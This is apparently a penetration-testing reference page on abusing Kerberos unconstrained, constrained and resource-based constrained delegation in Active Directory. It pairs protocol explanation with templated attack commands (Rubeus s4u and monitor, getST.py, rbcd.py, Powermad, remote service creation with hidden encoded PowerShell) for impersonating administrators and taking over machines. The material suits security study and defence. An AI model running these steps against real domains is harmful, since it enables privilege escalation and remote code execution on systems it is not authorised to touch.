Exploitation - Kerberos delegations

Overview

Kerberos is an authentication protocol used within Active Directory that rely on the use of tickets to identify users and grant access to domain resources. To do so, Kerberos implements two type of tickets, issued by two distinct services of the Key Distribution Center (KDC):

  • Ticket-Granting Ticket (TGT), obtained from the Authentication Service (AS).

  • service tickets, obtained from the Ticket-Granting Service (TGS).

A valid TGT is necessary in order to request service tickets, which in turn grant access to service accounts (user or machine domain accounts that have a ServicePrincipalName (SPN)).

Unconstrained, constrained and resource-based constrained delegations

Three types of delegation are implemented in the (Microsoft Active Directory) Kerberos protocol:

  • unconstrained delegation,

  • constrained delegation,

  • resource-based constrained delegation (RBCD).

Service accounts that are trusted for unconstrained delegation, i.e service accounts with the ADS_UF_TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION flag being positioned in their User-Account-Control attribute, can fully act on behalf of other domain users. Service tickets received by such services will contain a copy of the TGT of the user accessing the service. The received TGTs can be extracted from the LSASS process of the machine running the service / receiving the authentication, and further used to authenticate to any domain resources.

Service accounts that are trusted for constrained delegation, i.e service accounts with a non-empty msDS-AllowedToDelegateTo attribute, can impersonate other domain users to configured services (in the service account 's msDS-AllowedToDelegateTo attribute). Constrained delegations are implemented into the Kerberos protocol by Microsoft through the Service-for-User-to-Proxy (S4U2proxy) extension. S4U2proxy allows service accounts to request service tickets to the KDC (TGS-REQ) on behalf of other users by arbitrarily specifying the name of the user the service ticket should be emitted to. In order to do so, the service account must join, in the req-body.additional-tickets field of the TGS-REQ request, a service ticket marked as forwardable from the specified user. Such service ticket may be received from a delegable user as part of the Kerberos authentication process to the "proxifying" service or directly requested by the "proxifying" service through a S4U2self request (if the service is allowed to do so). More details on the Kerberos S4U2self extension are provided below.

The resource-based constrained delegation, introduced in Windows Server 2012, deports the trust to the final resources. Instead of trusting a service account to impersonate other users to destination services, service accounts can specifically authorize other services to authenticate using delegated service tickets. The authorized services are identified, by their SPN, in the msDS-AllowedToActOnBehalfOfOtherIdentity attribute of the final services. Similarly to constrained delegation, the service accessing the final service will request a service ticket to the KDC on behalf of a domain user through a S4U2proxy request. Except that in a resource-based constrained delegation scenario, the "proxifying" service can provide a standard service ticket to the KDC and thus does not have to be in possession of a service ticket marked as forwardable from the specified user.

In summary, the services a service account can request S4U2proxy service tickets for are restricted by the KDC to the ones either:

  • [constrained delegation] configured, using their SPNs, in the requesting service account's msDS-AllowedToDelegateTo attribute.

  • [resource-based constrained delegation] having in their msDS-AllowedToActOnBehalfOfOtherIdentity attribute the SPN of the requesting service.

Service-for-User-to-Self (S4U2self)

In order to provide protocol transition, Microsoft implemented the S4U2self extension into the Kerberos protocol. This extension makes Kerberos delegation possible for domain users accessing a service through other Windows authentication protocols, such as the NT Lan Manager (NTLM) protocol. As a service ticket is required for Kerberos constrained and resource-based constrained delegation (both leveraging the Kerberos S4U2proxy extension), the S4U2self allows a service account to obtain a service ticket for itself of an arbitrarily specified user. The user is specified in the of the PA-FOR-USER field in the preauthentication data of the KRB_TGS_REQ request to the KDC.

Any service account can request service tickets for itself through the S4U2self extension. However, only service accounts configured as being able to "use any authentication protocol", which correspond to the ADS_UF_TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION / TRUSTED_TO_AUTH_FOR_DELEGATION flag being positioned in the service accounts' User-Account-Control attribute, will receive service tickets marked as forwardable.

The S4U2self service tickets contain, in its Privilege Attribute Certificate (PAC), the authorization data of the requested user and can be used:

  • to impersonate the user locally on the system executing the service if the service account has the SeTcbPrivilege privilege on the local system.

  • through a constrained delegation to impersonate the user on remote services, using subsequent S4U2proxy requests, if the S4U2self service ticket is marked as forwardable. The S4U2self service ticket can only be used to make S4U2proxy requests for the services defined in the receiving service account's msDS-AllowedToDelegateTo attribute. The S4U2proxy request will result in the retrieval of a service ticket to the remote service impersonating another user identity.

  • through a resource-based constrained delegation to impersonate the user on remote services, using subsequent S4U2proxy requests, even if the S4U2self service ticket is not marked as forwardable. Indeed, in a resource-based constrained delegation scenario, S4U2Proxy requests will grant service tickets for services even if the service ticket provided to the KDC is non-forwardable. The S4U2self service ticket can only be used to make S4U2proxy requests for the services that define in their msDS-AllowedToActOnBehalfOfOtherIdentity attribute the service emitting the S4U2self service ticket.

Resource-based constrained delegations for machines takeover

As previously established (from original findings made by Elad Shamir):

  • all service accounts may request non-forwardable S4U2self service tickets impersonating any domain user.

  • Non-forwardable S4U2self service tickets can be used in a resource-based constrained delegation to request S4U2Proxy service tickets and ultimately authenticate to the "trusting" service on behalf of any domain user.

In consequence of those two facts, the control of a service or machine account defined in a machine account's msDS-AllowedToActOnBehalfOfOtherIdentity attribute, or the ACL right to write this attribute, can lead to remote code execution on the machine.

Indeed, Windows systems integrated to an Active Directory domain expose a number of services which can be leveraged to remotely access and execute commands, such as:

Possible operationService(s)DescriptionRelated note

PsExec-like file system access

CIFS

Remote execution of commands using PsExec-like utilities or full access to the machine file system.

Windows - Lateral movements [L7] 445 - SMB

WMI

HOST RPCSS

Remote execution of commands through Windows Management Instrumentation (WMI) (Win32_Process class for example).

Windows - Lateral movements

WinRM

Always necessary: HOST HTTP Host dependant: WSMAN RPCSS

PowerShell remoting through Windows Remote Management (WinRM).

Windows - Lateral movements [L7] 5985-5968 - WSMan

Windows services

HOST

Remote creation and/or execution of Windows services.

Windows - Lateral movements

Refer to the [ActiveDirectory] Kerberos Silver Tickets note for more information on machine services that can be leveraged for remote access and commands execution.

Accounts that cannot be delegated

Domain users can be protected from Kerberos delegation by either being:

  • configured as non-delegable ("Account is sensitive and cannot be delegated"), which correspond to the ADS_UF_NOT_DELEGATED flag being positioned in a user' User-Account-Control attribute.

  • members of the Protected Users domain group.

Identification of domain accounts that can be delegated

The PowerShell cmdlets below list all domain accounts that are not tagged as non-delegable nor are direct member of the Protected Users domain group.

Get-ADUser -Filter * -Properties AccountNotDelegated,MemberOf | Where-Object {($_.AccountNotDelegated -eq $False) -and -not ($_.Memberof -match "Protected Users")}
Get-DomainUser -Properties * | Where-Object {-not ($_.useraccountcontrol -match "NOT_DELEGATED") -and -not ($_.memberof -match "Protected Users")} | F

The PowerShell script below can be used to list the members of the privileged domain groups that are delegable (with out the ADS_UF_NOT_DELEGATED flag being set in their User-Account-Control attribute nor are direct or indirect member of the Protected Users domain group).

# Targeted privileged groups: "Domain Admins" (-512), "Enterprise Admins" (-519), "Administrators" (-544), "Backup Operators" (-551), "DNS Admins" (> 1000), "Print Operators" (-550), "Server Operators" (-549), "Account Operators" (-548), "Schema Admins" (-518)

$Users = Get-ADUser -Filter {AccountNotDelegated -eq $False}
$ProtectedUsers = Get-ADGroupMember -Identity "Protected Users" -Recursive

If ($ProtectUsers.Count -ne 0) {
  $DelegableUsers = Compare-Object $Users $ProtectedUsers | Select-Object -Expand InputObject | Sort-Object | Get-Unique
}

Else {
  $DelegableUsers = $Users
}

$DomainSID = (Get-ADDomain).DomainSID
$DomainAdminsSID = New-Object System.Security.Principal.SecurityIdentifier ([System.Security.Principal.WellKnownSidType]::AccountDomainAdminsSid, $DomainSID)
$EnterpriseAdminsSID = New-Object System.Security.Principal.SecurityIdentifier ([System.Security.Principal.WellKnownSidType]::AccountEnterpriseAdminsSid, $DomainSID)
$AdministratorsSID = New-Object System.Security.Principal.SecurityIdentifier ([System.Security.Principal.WellKnownSidType]::BuiltinAdministratorsSid, $DomainSID)
$BackupOperatorsSID = New-Object System.Security.Principal.SecurityIdentifier ([System.Security.Principal.WellKnownSidType]::BuiltinBackupOperatorsSid,$DomainSID)
$DnsAdminsSID = (Get-ADGroup -Identity "DnsAdmins").SID
$PrintOperatorsSID = New-Object System.Security.Principal.SecurityIdentifier ([System.Security.Principal.WellKnownSidType]::BuiltinPrintOperatorsSid,$DomainSID)
$ServerOperatorsSID = New-Object System.Security.Principal.SecurityIdentifier ([System.Security.Principal.WellKnownSidType]::BuiltinSystemOperatorsSid,$DomainSID)
$AccountOperatorsSID = New-Object System.Security.Principal.SecurityIdentifier ([System.Security.Principal.WellKnownSidType]::BuiltinAccountOperatorsSid,$DomainSID)
$SchemaAdminsSID = New-Object System.Security.Principal.SecurityIdentifier ([System.Security.Principal.WellKnownSidType]::AccountSchemaAdminsSid,$DomainSID)

$PriviligedUsers = Get-ADGroup -Filter {(SID -eq $DomainAdminsSid) -or (SID -eq $EnterpriseAdminsSID) -or (SID -eq $AdministratorsSID) -or (SID -eq $BackupOperatorsSID) -or (SID -eq $DnsAdminsSID) -or (SID -eq $PrintOperatorsSID) -or (SID -eq $ServerOperatorsSID) -or (SID -eq $AccountOperatorsSID) -or (SID -eq $SchemaAdminsSID)} | Get-ADGroupMember -Recursive | Sort-Object | Get-Unique

$DelegablePriviligedUsers = @()
foreach ($DelegableUser in $DelegableUsers){
  foreach ($PriviligedUser in $PriviligedUsers){
   If ($DelegableUser.SamAccountName -eq $PriviligedUser.SamAccountName) {
      $DelegablePriviligedUsers += $DelegableUser
	}
  }
}

$DelegablePriviligedUsers

Unconstrained delegation exploit

Unconstrained delegation service accounts identification

The PowerShell Active-Directory module and Powerview can be used to enumerate service accounts trusted for unconstrained delegation (accounts having the ADS_UF_TRUSTED_FOR_DELEGATION flag configured in their User-Account-Control attribute).

# Computer machine accounts
Get-DomainComputer -Unconstrained
Get-ADComputer -Filter {TrustedForDelegation -eq $True}
Get-ADComputer -LDAPFilter "(userAccountControl:1.2.840.113556.1.4.803:=524288)"

# User service accounts
Get-DomainUser -ldapfilter "(userAccountControl:1.2.840.113556.1.4.803:=524288)"
Get-ADUser -Filter {TrustedForDelegation -eq $True}
Get-ADUser -LDAPFilter "(userAccountControl:1.2.840.113556.1.4.803:=524288)"

Kerberos authentication capture

Multiples techniques and procedures may be used to obtain a Kerberos authentication from a remote system or user:

  • LLMNR and NBT-NS poisoning

  • DNS poisoning through a IPv6 rogue DHCP server

  • MSRPC MS-RPRN SpoolerService "printer bug"

  • Through the Exchange Web Services (EWS) API

  • Remote network share access from a Microsoft SQL Server (MSSQL) database

  • Universal Naming Convention (UNC) path injection in phishing emails or documents on network shares

  • etc.

Refer to the [ActiveDirectory] NTLM capture and relay note for more information on how to conduct these techniques. Note that in order to receive Kerberos authentications, instead of NTLM authentications, the authentication requests must be addressed to a service account (requiring a SPN that can be resolved into an IP by the remote system). In the present case, the SPN of the service account trusted for unconstrained delegation must be specified.

If the SpoolerService is exposed on a Domain Controller, an authentication request can be triggered from the Domain Controller machine account. As Domain Controllers have the necessary rights to make replication requests through the Directory Replication Service API (DRSUAPI) API, a TGT of a Domain Controller machine account can be used to conduct DCSync attacks. Refer to the [ActiveDirectory] ntds.dit dumping note for more information on the DCSync attack.

If Exchange Servers have not been patched with the February 2019 Quarterly Exchange Updates, the EWS API can be leveraged to trigger a request from an Exchange Server machine account. With out the patch being applied, Exchange Server machine accounts have, by default, high privileges in the domain. The Exchange-AD-Privesc GitHub repository lists the different attack paths that leverage an Exchange Server machine account to obtain Domain Admins privileges: https://github.com/gdedrouas/Exchange-AD-Privesc.

TGTs retrieval and usage

The monitor module of the Rubeus C# utility can be used to extract the TGTs stored in memory (elevated privileges are required on the system).

The monitor module will periodically extract all TGTs and display any newly captured TGTs.

# The TGTs will be extracted every 60 seconds by default.
Rubeus.exe monitor

Rubeus.exe monitor /interval:<INTERVAL_IN_SECONDS> /filteruser:<USERNAME>

Refer to the [ActiveDirectory] Kerberos tickets usage for more information on how to make use of the obtained TGT.

Constrained delegation exploit

A principal trusted for constrained delegation can impersonate any user (that can be delegated) to the services.

Accounts that have the ADS_UF_TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION / TRUSTED_TO_AUTH_FOR_DELEGATION flag being positioned in their User-Account-Control's attribute can be enumerated using an LDAP filter.

Enumeration of the msDS-AllowedToDelegateTo attribute

# Retrieves the value of the msDS-AllowedToDelegateTo attribute of all objects in the domain that are trusted for constrained delegation.
Get-ADObject -LDAPFilter "(msDS-AllowedToDelegateTo=*)" -Properties msDS-AllowedToDelegateTo

# Retrieves the value of the msDS-AllowedToDelegateTo attribute of all objects in the domain that are trusted for constrained delegation with protocol transition (TRUSTED_TO_AUTH_FOR_DELEGATION flag).
Get-ADObject -LDAPFilter "(&(userAccountControl:1.2.840.113556.1.4.803:=16777216)(msDS-AllowedToDelegateTo=*))" -Properties msDS-AllowedToDelegateTo

# With formation, from https://alsid.com/fr/node/143.
Get-ADObject -LDAPFilter "(&(userAccountControl:1.2.840.113556.1.4.803:=16777216)(msDS-AllowedToDelegateTo=*))" -Properties msDS-AllowedToDelegateTo | ForEach-Object {
    [PSCustomObject]@{
        DistinguishedName          = $_.DistinguishedName
        'msDS-AllowedToDelegateTo' = $_.'msDS-AllowedToDelegateTo'
    }
}

Exploitation of constrained delegation

Rubeus's s4u module or impackets's getST.py Python script can be used to make S4U2self and S4U2proxy requests to retrieve a service ticket to the constrained service impersonating the specified user.

Even if delegation rights are only granted on a specific SPN, alternative services can be specified in order to retrieve service tickets for others services supported by the host, effectively bypassing the limitation. For instance, if a principal is only allowed to delegate to the time service of an host (time\<host>), service tickets can still be requested for the HOST or CIFS SPN of the host, leading to remote code execution.

Refer to the S4U service tickets and usage section below (common with resource-based constrained delegation exploitation) for more information on how to request and use the aforementioned tools.

Resource-based constrained delegation exploit

Enumeration of the msDS-AllowedToActOnBehalfOfOtherIdentity attribute

The RSAT ActiveDirectory module's provide PowerShell cmdlets that can be used to retrieve the msDS-AllowedToActOnBehalfOfOtherIdentity attribute of the specified, or all, domain object(s):

# Retrieves the value of the msDS-AllowedToActOnBehalfOfOtherIdentity attribute of the specified user / machine account.
# IDENTITY: DistinguishedName (DN), GUID, SID or SamAccountName
Get-ADUser -Identity <IDENTITY> -Properties PrincipalsAllowedToDelegateToAccount
(Get-ADUser -Identity <IDENTITY> -Properties msds-allowedtoactonbehalfofotheridentity).'msDS-AllowedToActOnBehalfOfOtherIdentity'.Access.IdentityReference.Value

Get-ADComputer -Identity <IDENTITY> -Properties PrincipalsAllowedToDelegateToAccount
(Get-ADComputer -Identity <IDENTITY> -Properties msds-allowedtoactonbehalfofotheridentity).'msDS-AllowedToActOnBehalfOfOtherIdentity'.Access.IdentityReference.Value

# Retrieves the value of the msDS-AllowedToActOnBehalfOfOtherIdentity attribute of all objects in the domain with formatting.
# From https://alsid.com/fr/node/143.
Get-ADObject -LDAPFilter "(msDS-AllowedToActOnBehalfOfOtherIdentity=*)" -Properties msDS-AllowedToActOnBehalfOfOtherIdentity | ForEach-Object {
    [PSCustomObject]@{
        DistinguishedName                          = $_.DistinguishedName
        'msDS-AllowedToActOnBehalfOfOtherIdentity' = $_.'msDS-AllowedToActOnBehalfOfOtherIdentity'.Access.IdentityReference.Value
    }
}

Similarly, PowerView also provides PowerShell cmdlets that can be used to the same extent:

# Retrieves the raw value of the msDS-AllowedToActOnBehalfOfOtherIdentity attribute of the specified user / machine account.
$RawBytes = Get-DomainUser "<USERNAME>" -Properties msds-allowedtoactonbehalfofotheridentity | Select -Expand msds-allowedtoactonbehalfofotheridentity
$RawBytes = Get-DomainComputer "<MACHINE_HOSTNAME>" -Properties msds-allowedtoactonbehalfofotheridentity | Select -Expand msds-allowedtoactonbehalfofotheridentity

# Converts the retrieved attribute from IADsSecurityDescriptor COM object to a more human readable format using the RawSecurityDescriptor class.
(New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $RawBytes, 0).DiscretionaryAcl

# Retrieves the value of the msDS-AllowedToActOnBehalfOfOtherIdentity attribute of all objects in the domain.
Get-DomainObject -LDAPFilter "(msDS-AllowedToActOnBehalfOfOtherIdentity=*)" -Properties Name,DistinguishedName,msDS-AllowedToActOnBehalfOfOtherIdentity | ForEach-Object {
    $PSCustomObjects = @()

    $PSCustomObjects += ((New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $_.'msds-allowedtoactonbehalfofotheridentity', 0)) | Foreach-Object {$_.DiscretionaryAcl[0]}

    $PSCustomObjects | Add-Member -Name 'AppliedToName' -Type NoteProperty -Value $_.Name
    $PSCustomObjects | Add-Member -Name 'AppliedToDistinguishedName' -Type NoteProperty -Value $_.DistinguishedName

    $PSCustomObjects
}

[Optional - For ACL exploit] Creation of a controlled service account

As the msDS-AllowedToActOnBehalfOfOtherIdentity attribute must refer to a valid SPN (defined in the domain and DNS-resolvable), an account defining such SPN must be controlled in order to request S4U2self service tickets for the targeted service.

As machine accounts register various SPNs (HOST\<HOSTNAME>, CIFS\<HOSTNAME>, etc.) and, by default, any domain users may add up to 10 machine accounts to a domain, a machine account may be added to the domain using a compromised low-privileges user to meet the attack prerequisites. The number of machine accounts any user may add in the domain is controlled by the ms-DS-MachineAccountQuota attribute of the domain root object.

The RSAT ActiveDirectory module's Get-ADObject and PowerView's Get-DomainObject PowerShell cmdlets can be used to retrieve the value of the current or specified domain's ms-DS-MachineAccountQuota attribute:

Get-ADObject ((Get-ADDomain).distinguishedname) -Properties ms-DS-MachineAccountQuota

# DOMAIN_ROOT_OBJECT = "DC=LAB,DC=AD" for example
Get-ADObject -Server <DC_IP | DC_HOSTNAME> -Credential <PSCredential> -Identity <DOMAIN_ROOT_OBJECT> -Properties ms-DS-MachineAccountQuota

Get-DomainObject <DOMAIN | DOMAIN_ROOT_OBJECT> -Properties Name,DistinguishedName,ObjectSID,ms-DS-MachineAccountQuota
Get-DomainObject -Server <DC_IP | DC_HOSTNAME> -Credential <PSCredential> <DOMAIN | DOMAIN_ROOT_OBJECT> -Properties Name,DistinguishedName,ObjectSID,ms-DS-MachineAccountQuota

The Powermad's New-MachineAccount PowerShell cmdlet can be used to add a machine account into the current or specified Active Directory domain:

New-MachineAccount -Verbose -MachineAccount <MACHINE_ACCOUNT_NAME> -Password $(ConvertTo-SecureString '<MACHINE_ACCOUNT_PASSWORD>' -AsPlainText -Force)

New-MachineAccount -Verbose -DomainController <DC_IP> -Credential <PSCredential> -MachineAccount <MACHINE_ACCOUNT_NAME> -Password $(ConvertTo-SecureString '<MACHINE_ACCOUNT_PASSWORD>' -AsPlainText -Force)

[Optional - For ACL exploit] Modification of the msDS-AllowedToActOnBehalfOfOtherIdentity attribute

In order to conduct the modification, the right to write the msDS-AllowedToActOnBehalfOfOtherIdentity attribute of the domain object is required. This right can be granted:

  • specifically (WriteProperty / GenericWrite on GUID: 3f78c3e5-f79a-46bd-a0b8-9d18116ddc79),

  • indirectly through ownership of the object,

  • directly and indirectly through broader control rights on the object (GenericAll, WriteOwner, WriteDACL, WriteProperty / GenericWrite on all attributes).

Refer to the [ActiveDirectory] ACL exploiting note for more information on how to enumerate and, if necessary, exploit broader control rights to obtain the right to write the msDS-AllowedToActOnBehalfOfOtherIdentity attribute.

The RSAT ActiveDirectory module's Get-ADComputer and Set-ADComputer PowerShell cmdlets can be used to modify the msDS-AllowedToActOnBehalfOfOtherIdentity attribute of the specified service or machine account:

# IDENTITY: DistinguishedName (DN), GUID, SID or SamAccountName
# ADPRINCIPAL: Get-ADUser -Identity <CONTROLLED_SERVICE_ACCOUNT_IDENTITY> / Get-ADComputer -Identity <CONTROLLED_MACHINE_IDENTITY>

Set-ADUser -Identity <TARGET_USER_IDENTITY> -PrincipalsAllowedToDelegateToAccount <CONTROLLED_ADPRINCIPAL | CONTROLLED_PRINCIPAIL_DISTINGUISHED_NAME>
Set-ADUser -Server <DC_IP | DC_HOSTNAME> -Credential <PSCredential> -Identity <TARGET_USER_IDENTITY> -PrincipalsAllowedToDelegateToAccount <CONTROLLED_ADPRINCIPAL | CONTROLLED_PRINCIPAIL_DISTINGUISHED_NAME>

Set-ADComputer -Identity <TARGET_COMPUTER_IDENTITY> -PrincipalsAllowedToDelegateToAccount <CONTROLLED_ADPRINCIPAL | CONTROLLED_PRINCIPAIL_DISTINGUISHED_NAME>
Set-ADComputer -Server <DC_IP | DC_HOSTNAME> -Credential <PSCredential> -Identity <TARGET_COMPUTER_IDENTITY> -PrincipalsAllowedToDelegateToAccount <CONTROLLED_ADPRINCIPAL | CONTROLLED_PRINCIPAIL_DISTINGUISHED_NAME>

Alternatively, the PowerView's Get-DomainComputer and Set-DomainObject PowerShell cmdlets or Impacket's rbcd.py may be used as well:

# PowerView.
# IDENTITY: DistinguishedName (DN), GUID, SID or SamAccountName.

$ControlledObjectSid = Get-DomainObject -Identity <CONTROLLED_SERVICE_ACCOUNT_IDENTITY | CONTROLLED_MACHINE_ACCOUNT_IDENTITY> -Properties objectsid  | Select -Expand objectsid

$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ControlledObjectSid))"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)

Get-DomainObject <TARGET_USER_IDENTITY | TARGET_COMPUTER_IDENTITY> | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}

# Impacket.
# Supported 'action': read, write, remove, flush.
rbcd.py -action write -delegate-to <TARGET_MACHINE_ACCOUNT_NAME$> -delegate-from <CONTROLLED_MACHINE_ACCOUNT_NAME$> [<DOMAIN>/]<USERNAME>[:<TARGET_COMPUTER_ACCOUNT_PASSWORD | PASSWORD>]@<DC_HOSTNAME | DC_IP>

rbcd.py -action write -delegate-to <TARGET_MACHINE_ACCOUNT_NAME$> -delegate-from <CONTROLLED_MACHINE_ACCOUNT_NAME$> -hashes <:TARGET_COMPUTER_ACCOUNT_NT_HASH | NT_HASH> [<DOMAIN>/]<USERNAME>@<DC_HOSTNAME | DC_IP>

export KRB5CCNAME=<TICKET_CCACHE_FILE_PATH_TARGET_COMPUTER_ACCOUNT>
rbcd.py -action write -delegate-to <TARGET_MACHINE_ACCOUNT_NAME$> -delegate-from <CONTROLLED_MACHINE_ACCOUNT_NAME$> -k -no-pass -dc-ip <DC_IP> <DC_HOSTNAME>

Exploitation process of resource-based constrained delegation

Rubeus's s4u module or impackets's getST.py Python script can be used to make S4U2self and S4U2proxy requests to retrieve a service ticket impersonating the specified user to the service allowing delegation (through resource-based constrained delegation).

For machine takeover, the targeted service(s) can be specified through their respective SPN in the form of <SERVICE_NAME>/<MACHINE_HOSTNAME> or <SERVICE_NAME>/<MACHINE_FQDN>.

Refer to the S4U service tickets and usage section below (common with resource-based constrained delegation exploitation) for more information on how to request and use the aforementioned tools (notably for machine takeover).

S4U service tickets and usage

S4U service tickets request

Rubeus's s4u module or impackets's getST.py Python script can be used to request S4U2self service tickets for the targeted service(s). Knowledge of a secret (NTLM hash or Kerberos AES 128 / 256 bits keys) or a Kerberos TGT of the principal trusted for delegation (constrained or resource-based) is required and must first be retrieved before S4U requests can be made.

If only the password of the user is known, the NTLM hash / RC4 key or the AES keys can be derived from the password. The DSInternals PowerShell ConvertTo-NTHash and ConvertTo-KerberosKey cmdlets or the Rubeus's hash module can be used to this end. Additionally, if only the security context of an user has been obtained (i.e no knowledge of any of the user's credentials), a TGT for the user can be obtained using the Rubeus's tgtdeleg module. Refer to the [ActiveDirectory] Kerberos tickets usage note (Plaintext password to RC4 / AES keys or TGT Kerberos tickets requests sections) for more information.

The following commands can be used to requests S4U service ticket(s) for the specified service(s) under the identity of the provided service account.

Note that the received S4U2self service ticket(s) will be automatically injected in (and overwrite) the current logon session by Rubeus if the /ptt option is specified.

# Example of <SPN> for Rubeus's msdsspn or getST.py: <SERVICE>/<DOMAIN_FQDN> or host/<HOSTNAME> or host/<HOSTNAME_FQDN>.

# Rubeus.exe.
# Example of <SERVICE_NAME | SERVICES_NAME> for Rubeus' altservice: host,cifs,http,wsman,rpcss.

# Request made using a known secret of the principal trusted for delegation.
Rubeus.exe s4u /domain:<DOMAIN_FQDN> /user:<CONTROLLED_SERVICE_ACCOUNT_USERNAME | CONTROLLED_MACHINE_ACCOUNT_NAME$> /rc4:<NTLM> /impersonateuser:<Administrator | USERNAME> /msdsspn:<SPN> [/altservice:<host,cifs,http,wsman,rpcss | SERVICE_NAME | SERVICES_NAME>] /ptt

# Request made using a valid TGT of the principal trusted for delegation.
Rubeus.exe s4u /domain:<DOMAIN_FQDN> /ticket:<TGT> /impersonateuser:<Administrator | USERNAME> /msdsspn:<SPN>/<DOMAIN_FQDN> [/altservice:<host,cifs,http,wsman,rpcss | SERVICE_NAME | SERVICES_NAME>] /ptt

# Impacket's getST.py.

# Request made using a known secret of the principal trusted for delegation.
getST.py -spn <SPN> -impersonate <Administrator | USERNAME> -dc-ip <DC_IP> '<DOMAIN>/<CONTROLLED_MACHINE_ACCOUNT_NAME$>:<CONTROLLED_MACHINE_ACCOUNT_PASSWORD>'

S4U service tickets usage for machine takeover

From a Windows attacking machine, WinRM can be used to remotely execute PowerShell commands if the service is exposed on the target system (port TCP 5985 / 5986). PowerShell remoting requires service tickets for the HOST and HTTP services, and may, depending on the targeted host, requires tickets for the WSMAN and / or RPCSS services as well.

Rubeus.exe s4u /domain:<DOMAIN_FQDN> /user:<CONTROLLED_SERVICE_ACCOUNT_USERNAME | CONTROLLED_MACHINE_ACCOUNT_NAME$> /rc4:<NTLM> /impersonateuser:<Administrator | USERNAME> /msdsspn:host/<FQDN_TARGET_SYSTEM> /altservice:http,wsman,rpcss

Enter-PSSession -ComputerName <TARGET_SYSTEM_HOSTNAME>

Another reliable way to leverage the s4u service ticket for remote code execution is based on the creation and execution of Windows services. This technique presents the advantage of being usable from both Windows and Linux operating systems. Indeed, most Linux utilities can only make use of a single Kerberos tickets at a time and only one service ticket for the HOST SPN is required to remotely create and start services.

# <SERVICE_COMMAND> example with a Windows binary: <cmd.exe /c '<COMMAND> <COMMAND_ARGS>' | %ComSpec% /c '<COMMAND> <COMMAND_ARGS>' |  %ComSpec% /c powershell.exe -NoP -NonI -W Hidden -Exec Bypass -C '<COMMAND> <COMMAND_ARGS>' | %ComSpec% /c powershell.exe -NoP -NonI -W Hidden -Exec Bypass -Enc <ENCODED_BASE64_CMD> | ...>

# Windows.
Rubeus.exe s4u /domain:<DOMAIN_FQDN> /user:<CONTROLLED_SERVICE_ACCOUNT_USERNAME | CONTROLLED_MACHINE_ACCOUNT_NAME$> /rc4:<NTLM> /impersonateuser:<Administrator | USERNAME> /msdsspn:host/<FQDN_TARGET_SYSTEM> /ptt
sc \\<TARGET_SYSTEM_HOSTNAME> create <SERVICE_NAME> binpath= "<SERVICE_COMMAND>"
sc \\<TARGET_SYSTEM_HOSTNAME> start <SERVICE_NAME>

# Linux.
# Alternatively, Rubeus's b64 encoded service ticket can be exported, decoded and converted from KRB_CRED to ccache format. For more information refer to the "[ActiveDirectory] Kerberos tickets usage" note.
getST.py -spn host/<FQDN_TARGET_SYSTEM> -impersonate <Administrator | USERNAME> -dc-ip <DC_IP> '<DOMAIN>/<CONTROLLED_MACHINE_ACCOUNT_NAME$>:<CONTROLLED_MACHINE_ACCOUNT_PASSWORD>'
export KRB5CCNAME=<TICKET_CCACHE_FILE_PATH>
services.py -k -no-pass -dc-ip <DC_IP> <TARGET_SYSTEM_HOSTNAME> create -name <SERVICE_NAME> -display <SERVICE_DISPLAY_NAME> -path '<SERVICE_COMMAND>'
services.py -k -no-pass -dc-ip <DC_IP> <TARGET_SYSTEM_HOSTNAME> <start | delete> -name <SERVICE_NAME>

Additional information

Refer to:

  • the [ActiveDirectory] Kerberos tickets usage note for more information on techniques and tools to manipulate and use the received S4U2self service tickets on both Windows and Linux systems.

  • the [ActiveDirectory] Kerberos Silver Tickets note for more information on the exploitable machine services and their associated SPN.

  • the [Windows] Lateral movements note for more information on how to move laterally using service tickets.

  • the [General] Shells note for more information on how to obtain a shell through the service execution (nc.exe one-liner, PowerShell reverse shell, etc.)


References

https://www.sstic.org/media/SSTIC2014/SSTIC-actes/secrets_dauthentification_pisode_ii__kerberos_cont/SSTIC2014-Article-secrets_dauthentification_pisode_ii__kerberos_contre-attaque-bordes_2.pdf https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html https://adsecurity.org/?p=1667 https://www.synetis.com/risques-associes-a-la-delegation-kerberos/ https://blog.stealthbits.com/unconstrained-delegation-permissions/ https://blog.stealthbits.com/resource-based-constrained-delegation-abuse/ https://docs.microsoft.com/fr-fr/dotnet/api/system.security.principal.wellknownsidtype?view=dotnet-plat-ext-3.1 https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-sfu/bde93b0e-f3c9-4ddf-9f44-e1453be7af5a https://posts.specterops.io/hunting-in-active-directory-unconstrained-delegation-forests-trusts-71f2b33688e1 https://beta.hackndo.com/unconstrained-delegation-attack/#rappels--unconstrained-delegation https://dirkjanm.io/krbrelayx-unconstrained-delegation-abuse-toolkit/ https://chryzsh.github.io/relaying-delegation/ https://www.harmj0y.net/blog/redteaming/another-word-on-delegation/ https://alsid.com/fr/node/143 https://alsid.com/fr/node/144 https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-kerberos-constrained-delegation https://stackoverflow.com/questions/57171940/accessing-parsing-msds-allowedtoactonbehalfofotheridentity-ad-property-in-c-sh https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html

Last updated